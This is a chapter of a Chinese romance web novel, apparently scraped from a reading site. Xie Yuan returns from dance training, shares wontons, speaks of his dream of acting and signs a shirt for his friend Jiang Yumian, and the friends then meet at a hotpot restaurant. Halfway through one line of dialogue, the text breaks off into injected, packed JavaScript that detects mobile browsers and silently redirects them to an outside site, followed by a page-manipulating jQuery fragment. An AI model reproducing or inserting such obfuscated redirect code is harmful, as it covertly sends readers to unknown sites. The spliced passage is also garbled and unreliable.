等谢渊下来的时候,睡衣已经换成了舒适的休闲装,凌乱的短发也被梳得服帖,表情平静的像是每个安静的下午。 可惜脸上未退的红晕出卖了他,江逾眠的眼神没在谢渊的脸上多停留,只是静静地摆好碗筷。 她知道什么时候能逗,什么时候装傻,这时候她要是多说上一句,谢渊怕不是就会恼羞成怒,届时她就要被赶出家门回家里独自孤单寂寞冷了。 吃到小馄饨,谢渊的眼睛亮了一下,进食的速度明显加快,比往常多吃了好几个。 怕是这几天什么好吃的都没吃到。 谢渊吃得热泪盈眶,他前几天过的都是什么苦日子啊。本来练舞练基本功就已经又苦又累了,每天还得要么啃菜叶子要么去尝试那要命的创新菜,运气好些就当吃水果了,运气不好的时候简直就是对舌头的酷刑。 颜色不好看就算了,味道也那么算了。 难怪去年的学长说去那几天必然会瘦,再细问又会守口如瓶。 “暑假的集训营饭菜不会也这么难吃吧?”看着谢渊吃饭的样子,江逾眠实在忍不住了。 “不会的。”谢渊咽下嘴里的馄饨,“暑假集训营营养搭配水一切,再难吃也不会难吃到哪里去的。” 他实在是怕了,回来之前细细问了学长,学长被他烦的受不了就告诉他了,然后还给他发了几张去年暑期集训营的饭菜图片,看着搭配很漂亮,有小番茄、玉米、鸡胸肉、、西蓝花、粗粮饭之类的,但是全水煮。 他想了想感觉能接受。 “但是年年啊,你要是以后当演员可能得一直啃水煮菜了,演员的身材管理也很严格呢。”江逾眠语重心长,她试图劝劝,谢渊现在非常瘦,浑身上下也就臀瓣还能有些肉,原本还有一点脸颊肉,现今瘦得脸本就小的脸只剩巴掌大。 “可是眠姐,当演员是我的梦想啊,你想想,用表演去体会演绎别人的一声,将角色隐藏的情感、背后的故事一点点展现给荧幕前的大家是多么浪漫的一件事啊。而且,我现在学舞、减肥是希望能改变体态,能在艺考中获得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15582066|171100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更高的分数,就像学文化课一样,努力刷题提升自己,只是不同的方式罢了。等艺考结束我就可以吃啦,而且我天生体质就是比较不容易胖的,已经比别人好多了呀。那些本来就容易受到饮食影响的艺考生们都能靠着毅力做到的事,我有什么做不到的呢?” 谢渊笑眯眯的,好像真的觉得自己很幸运。 他背对着窗,窗外的暖阳照射在他的身上,给他镀上一层毛绒绒的金边,脸上的笑容酿着蜜糖一样的情绪,好像世上的一切困难都不能将他打倒。 这一抹笑将江逾眠心中的忐忑与担忧全都融化了,不由自主的弯起唇角。 “那么以后的演员大人,可以给你的老同学签个名吗?”江逾眠轻声问道。 谢渊知道,江逾眠这是会支持他的决定的意思。 “那当然可以呀!”谢渊脸上的笑容更甜美了。 “To签也可以吗?” “那,当然可以呀!” 江逾眠去找了一件白色衬衫,那是她最喜欢的一件。 “眠姐,签在这上面是不是有点可惜啊。”谢渊拿着记号笔无从下手。 “没关系,你写吧,等过几天我拿去裱起来,等年年大人功成名就了,我就把这个拿去卖掉,绝对稳赚不赔!”江逾眠帮谢渊把衬衫铺平按住肩膀的位置。 “那我要写什么呢?”谢渊有些苦恼。 “你要自己想呀。” To;眠 希望你余生顺遂,幸福美满。 From:谢渊 谢渊认真地一笔一划地写下,最后在名字旁边画了一个圆润的爱心。 黑色的字迹端端正正,自己边缘却有细细的晕染的毛刺,像是谢渊这个人。 “好了,我收起来,你该学习了。” “不是,眠姐,话题转这么快吗?”谢渊被江逾眠这通操作搞得不会了,再看看她拿过来的一堆卷子,眼前发花。 “当然,你可是要考顶尖影视院校的人啊,文化课可不能落下。”江逾眠俏皮地眨了眨眼,抽出来一张语文卷子。 先拿谢渊拿手的找找手感,好几天没做题了。 “好的。”听江逾眠这么说,他也沉下心来,这几天没做题确实有点手生了。 两人就着明媚的阳光做起了作业,江逾眠有时候会问谢渊一些语文方面的技巧,谢渊碰到不会的问题则是先翻找之前的笔记不会了再问江逾眠搞懂。两人各占一边互不影响,房间里只剩时钟滴滴答答的响声和笔尖与纸张窸窸窣窣的摩擦声。 —— 下午五点整,谢渊和江逾眠到底湖底捞。 崔锦和刘天琪已经到了,正在包间里吃西瓜,时不时聊会天,其他人则还在路上。 “阿锦,我跟你说,我刚回来,江逾眠她就拉着我做了一下午卷子!”谢渊刚进门就拉过崔锦的袖子跟人控诉。 “啊?为啥啊?” “还能为什么,让我好好学习呗。” “不是,我是问为什么你俩下午在一块。” “哦,她爸出差把她寄养在我家了。” “嗯?她自己一个人在家会害怕吗?”崔锦的声音拐了个弯,显然很疑惑,他爸他妈忙的时候都是把他自己扔家里好几天的啊。 “嗯?你怎么会这么想呢?” “那为啥啊?” “因为我爸和她爸是好朋友啦,我有时候也会被寄养在她家啊。”非常偶尔。 “是这样啊,那我懂了!青梅竹马!” 好像看到崔锦脑袋上亮起了一个小灯泡。 “也……可以这么说吧。” 江逾眠看到崔锦星星眼然后又朝她这边看的那一眼就知道,今天#逾渊里怕不是要热闹了,晚上可以去看看,现在要给两人留出说悄悄话的空间。 “你们想喝什么吗?我俩去买。”江逾眠站起身询问两个男孩的意见。 “老样子。” “你呢?”江逾眠点点头去看崔锦。 “半糖薄荷奶绿。然后再问问别人吧,把账单发我就行。” “嗯好。” 江逾眠拽着不想出去的刘天琪走出门。 “眠姐,别拽了,你咋要出去买饮料啊,不是有酸梅汤吗?”刘天琪不解。 “他们两个想说点悄悄话你没看出来吗?” “啊?啥时候的事?” “他们两个的声音越来越小,后来睁着两双大眼睛看你的时候你没注意到吗?” “啊?我还以为是被我的美貌折服了呢。”刘天琪一脸好可惜的样子。 “要点脸吧,行不?” “哎!” “请你喝饮料,想喝什么?”江逾眠一把拦过刘天琪的脖子。 “多肉葡萄!” “行。”